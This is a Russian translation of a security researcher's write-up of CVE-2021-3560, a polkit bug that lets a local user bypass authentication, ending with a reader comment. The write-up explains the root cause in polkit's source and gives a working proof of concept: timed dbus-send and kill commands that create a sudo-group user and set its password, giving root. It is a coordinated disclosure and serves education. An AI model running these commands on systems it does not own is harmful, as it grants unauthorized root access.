polkit – это системный сервис, по умолчанию устанавливаемый во многих дистрибутивах Linux. Он используется демоном systemd, поэтому в любом дистрибутиве Linux, где применяется system, также используется polkit. Автор этой статьи, входя в состав GitHub Security Lab, работает над улучшением безопасности опенсорсного софта; он ищет уязвимости и докладывает о них. Именно он однажды нашел уязвимость в polkit, позволяющую злоумышленнику увеличить его привилегии. Раскрытие уязвимости было скоординировано с командой по поддержке polkit, а также с командой по обеспечению безопасности в компании Red Hat. О раскрытии этой уязвимости было объявлено публично, патч для нее был выпущен 3 июня 2021 года, и ей был присвоен код CVE-2021-3560.
Эта уязвимость позволяет непривилегированному пользователю, работающему на локальном ПК, получить root-доступ к командной оболочке системы. Такой эксплойт несложно осуществить при помощи нескольких стандартных инструментов командной строки, как показано в этом коротком видео. В данном посте будет объяснено, как устроен этот эксплойт, а также показано, где именно в исходном коде находится этот баг.
История уязвимости CVE-2021-3560 и какие дистрибутивы она затронула
Рассматриваемый баг достаточно старый. Он вкрался в код более восьми лет назад в коммите bfa5036 и впервые мог использоваться в версии 0.113 программы polkit. Однако, во многих популярных дистрибутивах Linux эта уязвимая версия не использовалась до относительно недавнего времени.
Немного специфической историей этот баг обладает в Debian и его производных (например, в Ubuntu), так как Debian использует форк polkit, в котором есть своя особенная схема нумерации версий. В форке Debian этот баг появился в коммите f81d021 и впервые попал в дистрибутив в версии 0.105-26. В стабильном релизе Debian 10 (“buster”) используется версия 0.105-25, таким образом, уязвимости в нем нет. Но некоторые производные Debian, в том числе, Ubuntu, основаны на нестабильной версии Debian, а она уязвима.
Вот таблица с подборкой популярных дистрибутивов и указанием, уязвимы ли они (обратите внимание: этот список неполон):
О polkit
polkit – это системный сервис, работающий под капотом, когда вы видите диалоговое окно примерно такого содержания:
В принципе, он играет роль арбитра. Когда вы хотите выполнить некоторую операцию, требующую повышенных привилегий – например, создать новую пользовательскую учетную запись – то задача polkit решить, допустимо или нет, чтобы вы эту операцию выполнили. По некоторым запросам polkit принимает решение мгновенно – разрешить или запретить – а в других случаях выводит диалоговое окно, через которое администратор может авторизовать определенное действие, введя свой пароль.
Диалоговое окно может создать впечатление, будто polkit – это графическая система, но на самом деле это фоновый процесс. Такое диалоговое окно называется агент аутентификации, и это просто механизм, позволяющий отправить пароль в polkit. Чтобы проиллюстрировать, что polkit предназначен не только для графических сеансов, попробуйте открыть терминал и выполнить следующую команду:
pkexec reboot
pkexec – это подобная команда для sudo, позволяющая выполнить команду с правами администратора. Если выполнить pkexec
в графическом сеансе, то откроется диалоговое окно, но, если все то же самое делается в текстовом сеансе, например, в SSH, то запускается собственный агент аутентификации, работающий в текстовом режиме:
$ pkexec reboot
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/usr/sbin/reboot' as the super user
Authenticating as: Kevin Backhouse,,, (kev)
Password:
Еще одна команда, при помощи которой можно инициировать polkit
из командной строки – это dbus-send. Это универсальный инструмент для отправки сообщений D-Bus, в основном он используется для тестирования, но обычно по умолчанию устанавливается в тех системах, которые используют D-Bus. С его помощью можно сымитировать сообщения D-Bus, которые могли бы поступать из графического интерфейса. Например, вот команда для создания нового пользователя:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1
Если выполнить эту команду в рамках сеанса, когда работа идет через графический интерфейс, откроется диалоговое окно для аутентификации. Но, если вы будете работать в текстовом режиме, например, через SSH, то произойдет немедленный отказа. Дело в том, что утилита dbus-send
, в отличие от pkexec
, не запускает собственный агент аутентификации.
Этапы эксплойта
Эксплойт этой уязвимости удивительно прост. Всего-то и нужно, ввести в окне терминала несколько команд, и использоваться при этом будут только стандартные инструменты, в частности, bash, kill и dbus-send.
Описанный в этом разделе эксплойт приведен в качестве доказательства осуществимости (proof of concept). Он зависит от двух пакетов, которые необходимо установить: accountsservice и gnome-control-center. В системе с графическим интерфейсом, например, в Ubuntu Desktop, оба этих пакета обычно устанавливаются по умолчанию. Но если вы работаете с такой машиной как сервер RHEL, где графический интерфейс не предусмотрен, то можете их установить, например, вот так:
sudo yum install accountsservice gnome-control-center
Разумеется, у этой уязвимости нет никакой специфической связи ни с accountsservice
, ни с gnome-control-center
. Это просто клиенты polkit, оказавшиеся удобными векторами атаки для данного эксплойта. Причина, по которой наш proof of concept зависит от gnome-control-center
, а не просто от accountsservice
, довольно тонкая — я объясню ее позже.
Чтобы не приходилось раз за разом открывать диалоговое окно аутентификации (это может раздражать), рекомендую выполнять команды из SSH-сеанса:
ssh localhost
Данная уязвимость инициируется запуском команды dbus-send
, но она же убивает эту команду, еще пока polkit вовсю занят обработкой запроса. Мне нравится думать, что теоретически ее можно инициировать, просто бахнув Ctrl+C в нужный момент, но преуспеть в этом мне ни разу не удалось, поэтому я обхожусь небольшим набором bash-скриптов. Во-первых, нужно измерить, сколько времени требуется, чтобы запустить команду dbus-send
в обычном режиме:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1
Вывод выглядит примерно так:
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
real 0m0.016s
user 0m0.005s
sys 0m0.000s
У автора на это ушло 16 миллисекунд; таким образом, на то, чтобы убить команду dbus-send
, у нас есть приблизительно 8 миллисекунд:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!
Возможно, потребуется несколько раз прогнать этот код, а также поэкспериментировать, сколько именно миллисекунд должна продлиться задержка. Когда эксплойт окончится успехом, вы увидите, что создан новый пользователь с именем boris
:
$ id boris
uid=1002(boris) gid=1002(boris) groups=1002(boris),27(sudo)
Обратите внимание: boris
относится к группе sudo
, поэтому вы уже серьезно приблизились к полной эскалации привилегий. Далее необходимо задать пароль для нового аккаунта. Интерфейс D-Bus ожидает хэшированный пароль, который можно создать при помощи openssl
:
$ openssl passwd -5 iaminvincible!
$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB
Теперь потребуется просто повторить тот самый трюк, только сейчас мы вызываем уже другой метод D-Bus, а именно SetPassword
:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!
Опять же, возможно, потребуется поэкспериментировать с длительностью задержки, и операция может удаться не с первого раза. Обратите внимание: сюда нужно вставить корректный идентификатор пользователя (UID), а именно, в данном примере, это “1002” – плюс хеш пароля от команды openssl
.
Теперь можно войти в систему под именем boris и получить права администратора:
su - boris # password: iaminvincible!
sudo su # password: iaminvincible!
Архитектура polkit
Чтобы уязвимость была понятнее, взгляните на схему с пятью основными процессами, участвующими в выполнении команды dbus-send
:
Два процесса выше прерывистой линии — dbus-send
и агент аутентификации – пользовательские, непривилегированные. Ниже прерывистой линии показаны привилегированные системные процессы. В центре — dbus-daemon
, обрабатывающий всю коммуникацию: остальные четыре процесса общаются друг с другом, обмениваясь сообщениями D-Bus.
Роль dbus-daemon
в обеспечении безопасности polkit очень важна, поскольку именно он отвечает за безопасную коммуникацию четырех процессов, в частности, позволяет им проверять учетные данные друг друга. Например, когда агент аутентификации посылает polkit аутентификационный куки, сама отправка идет на адрес org.freedesktop.PolicyKit1
в D-Bus. Поскольку зарегистрировать такой адрес разрешено только root-процессу, отсутствует риск, что эти сообщения перехватит непривилегированный процесс. Также dbus-daemon
присваивает каждому процессу «уникальное шинное имя», обычно оно выглядит примерно так: :1.96. Оно немного напоминает идентификатор процесса (PID), за исключением того, что такое имя не уязвимо для атак с повторным использованием PID. В настоящее время уникальные шинные имена выбираются из 64-разрядного диапазона, поэтому отсутствует риск возникновения уязвимости на почве повторного использования имени.
Рассмотрим всю последовательность событий:
1. dbus-send
просит accounts-daemon
создать нового пользователя.
2. accounts-daemon
получает сообщение D-Bus от dbus-send
. Это сообщение включает уникальное шинное имя отправителя. Предположим, это “:1.96”. Это имя прикрепляется к сообщению демоном dbus-daemon
и не может быть подделано.
3. accounts-daemon
спрашивает polkit
, вправе ли соединение :1.96 создать нового пользователя.
4. polkit
спрашивает dbus-daemon
, каков UID соединения :1.96.
5. Если UID of соединения :1.96 это “0,” то polkit немедленно дает добро в ответ на этот запрос. В противном случае он направляет агенту аутентификации список пользователей с правами администратора, и именно эти пользователи вправе дать добро на запрос.
6. Агент аутентификации открывает диалоговое окно, через которое пользователь должен ввести пароль.
7. Агент аутентификации отправляет пароль к polkit.
8. polkit посылает ответ «yes» демону accounts-daemon
.
9. accounts-daemon
создает пользовательскую учетную запись.
Уязвимость
Почему, убив команду dbus-send
, можно обойти этап аутентификации? Уязвимость скрывается в вышеприведенном списке шагов. Что произойдет, если polkit запросит у dbus-daemon
UID соединения :1.96, но соединение :1.96 к тому моменту уже не существует? Демон dbus-daemon
обработает эту ситуацию правильно и вернет ошибку. Но оказывается, что справиться с этой ошибкой не может polkit; более того, он поступает с ней на редкость неграмотно: не отклоняет такой запрос, а полагает, что он поступил от процесса с UID 0. Иными словами, сразу же дает такому запросу добро, поскольку ему «кажется», что запрос пришел от процесса с root-привилегиями.
Почему хронометраж уязвимости получается недетерминированным? Оказывается, polkit многократно просит у dbus-daemon
номер UID запрашивающего процесса, по разным путям кода. По большинству из этих путей ошибка обрабатывается корректно, но по одному – нет. Если убить команду dbus-send
слишком рано, то ошибка обрабатывается по одному из корректных путей, и запрос отклоняется. Чтобы запустить программу именно по уязвимому пути, нужно произвести разрыв ровно в нужный момент. А поскольку в работу вовлечено множество процессов, этот тайминг, «ровно нужный момент», варьируется от одного прогона к другому. Вот почему эксплойт обычно удается не с первой попытки. Полагаю, именно поэтому и реакция на баг не была открыта ранее. Если бы можно было инициировать уязвимость, просто убив команду dbus-send
, то, вероятно, эта уязвимость была бы раскрыта гораздо ранее, так как тестировать систему на наличие такой уязвимости – очевидная необходимость.
Функция, запрашивающая у dbus-daemon
UID-идентификатор запрашивающего соединения, называется polkit_system_bus_name_get_creds_sync:
static gboolean
polkit_system_bus_name_get_creds_sync (
PolkitSystemBusName *system_bus_name,
guint32 *out_uid,
guint32 *out_pid,
GCancellable *cancellable,
GError **error)
Функция polkit_system_bus_name_get_creds_sync ведет себя странно, поскольку при возникновении ошибки эта функция устанавливает параметр ошибки, но все равно продолжает возвращать TRUE
. Не понимая этого, автор написал баг-репорт, с просьбой пояснить, баг ли это или решение, осознанно принятое при проектировании (оказалось, что баг, так как разработчики polkit исправили уязвимость, и при ошибке функция стала возвращать FALSE.
) Сомнения были обусловлены тем, что почти все вызыватели polkit_system_bus_name_get_creds_sync
не просто проверяют булев результат, но и убеждаются, что значение ошибки по-прежнему равно NULL
, и только после этого продолжают работу. Причина уязвимости заключалась в том, что в следующем стектрейсе значение ошибки не проверялось:
0 in polkit_system_bus_name_get_creds_sync of polkitsystembusname.c:388
1 in polkit_system_bus_name_get_user_sync of polkitsystembusname.c:511
2 in polkit_backend_session_monitor_get_user_for_subject of polkitbackendsessionmonitor-systemd.c:303
3 in check_authorization_sync of polkitbackendinteractiveauthority.c:1121
4 in check_authorization_sync of polkitbackendinteractiveauthority.c:1227
5 in polkit_backend_interactive_authority_check_authorization of polkitbackendinteractiveauthority.c:981
6 in polkit_backend_authority_check_authorization of polkitbackendauthority.c:227
7 in server_handle_check_authorization of polkitbackendauthority.c:790
7 in server_handle_method_call of polkitbackendauthority.c:1272
Баг находится в следующем фрагменте кода в check_authorization_sync:
/* каждому субъекту соответствует пользователь; эта информация предоставляется клиентом, поэтому при проверке ее приемлемости
* мы полагаемся на данные вызывающей стороны. */
user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
subject, NULL,
error);
if (user_of_subject == NULL)
goto out;
/* особый случай: uid 0, root, всегда _always_ на все случаи */
if (POLKIT_IS_UNIX_USER (user_of_subject) && polkit_unix_user_get_uid (POLKIT_UNIX_USER (user_of_subject)) == 0)
{
result = polkit_authorization_result_new (TRUE, FALSE, NULL);
goto out;
}
Обратите внимание: значение error
не проверяется.
Аннотации org.freedesktop.policykit.imply
Выше упоминалось, что предложенная PoC-модель зависит от того, чтобы в системе была установлена gnome-control-center
, дополнительно к accountsservice
. Почему так? PoC-модель не использует gnome-control-center
каким-либо заметным образом, и при создании данной модели автор эту зависимость даже не осознавал! На самом деле, данная зависимость была выявлена только потому, что команда безопасников из Red Hat не смогла воспроизвести эту PoC-модель на RHEL. Когда автор самостоятельно попытался воспроизвести эту уязвимость на виртуальной машине RHEL 8.4, оказалось, что и в этой расстановке его PoC-модель также не работает. Удивительно, поскольку она отлично работала на Fedora 32 и CentOS Stream. Оказалось, что принципиальное отличие заключается в следующем: виртуальная машина RHEL – это сервер, работающий без графики, то есть, на нем не установлен GNOME. Почему же это важно? Ответ был связан с использованием аннотаций policykit.imply
.
Некоторые действия polkit, в сущности, эквивалентны друг другу, поэтому, если одно из них уже одобрено, то имеет смысл бесшумно разрешить и другое. Хороший пример такого рода – настройки GNOME в диалоговом окне:
Как только вы щелкнете по кнопке “Unlock” (Разблокировать) и введете пароль, вы сразу сможете совершить такое действие как добавление нового пользовательского аккаунта, и повторно проходить аутентификацию вам для этого не придется. Этот случай обрабатывается аннотацией policykit.imply
, которая определяется в следующем конфигурационном файле:
/usr/share/polkit-1/actions/org.gnome.controlcenter.user-accounts.policy
В этом конфигурационном файле подразумевается следующее:
Иными словами, если вы вправе совершать действия controlcenter ка администратор, то вправе совершать и accountsservice, тоже как администратор.
Прикрепив GDB к polkit на виртуальной машине RHEL, автор обнаружил, что приведенный выше уязвимый стектрейс не виден. Обратите внимание: на четвертом шаге стектрейса мы видим рекурсивный вызов от check_authorization_sync
к самой себе. Это происходит в строке 1227, именно там, где polkit проверяет аннотации policykit.imply
:
PolkitAuthorizationResult *implied_result = NULL;
PolkitImplicitAuthorization implied_implicit_authorization;
GError *implied_error = NULL;
const gchar *imply_action_id;
imply_action_id = polkit_action_description_get_action_id (imply_ad);
/* g_debug ("%s is implied by %s, checking", action_id, imply_action_id); */
implied_result = check_authorization_sync (authority, caller, subject,
imply_action_id,
details, flags,
&implied_implicit_authorization, TRUE,
&implied_error);
if (implied_result != NULL)
{
if (polkit_authorization_result_get_is_authorized (implied_result))
{
g_debug (" is authorized (implied by %s)", imply_action_id);
result = implied_result;
/* очистка */
g_strfreev (tokens);
goto out;
}
g_object_unref (implied_result);
}
if (implied_error != NULL)
g_error_free (implied_error);
Обход аутентификации зависит от того, чтобы значение ошибки было проигнорировано. Оно было проигнорировано в строке 1121, но все равно сохранено в параметре error
, поэтому нужно, чтобы оно было проигнорировано и вызывающей стороной. В вышеприведенном блоке кода есть временная переменная под названием implied_error
, которая игнорируется, когда значение implied_result
не равно нулю. Это и есть ключевой шаг, благодаря которому удается обойти аутентификацию.
Подытоживая, обход аутентификации срабатывает только с такими действиями polkit, которые подразумеваются другими действиями polkit. Вот почему предложенная PoC-модель работает лишь при условии, что в системе установлен gnome-control-center
: так добавляется аннотация policykit.imply
, позволяющая подставить accountsservice
под удар. Но это не означает, что RHEL такая уязвимость не грозит. Другой вектор атаки для такой уязвимости направлен через программу packagekit, которая по умолчанию устанавливается на RHEL и содержит подходящую аннотацию policykit.imply
, завязанную на действии package-install
. packagekit
используется для установки пакетов, поэтому с ее помощью можно установить и gnome-control-center
, после чего весь оставшийся эксплойт будет работать как показано выше.
Заключение
CVE-2021-3560 позволяет непривилегированному злоумышленнику, действующему с локального ПК, получить в системе права администратора. Этот эксплойт очень прост и быстр, поэтому важно как можно быстрее обновлять все установленные экземпляры Linux. Уязвима любая система, в которой применяется polkit версии 0.113 (или выше), в частности, такие популярные дистрибутивы, как RHEL 8 и Ubuntu 20.04.
olegtsss
Хороший перевод, спасибо за интересный материал. В статье не хватает полных версий команд, не усеченных, как в оригинале.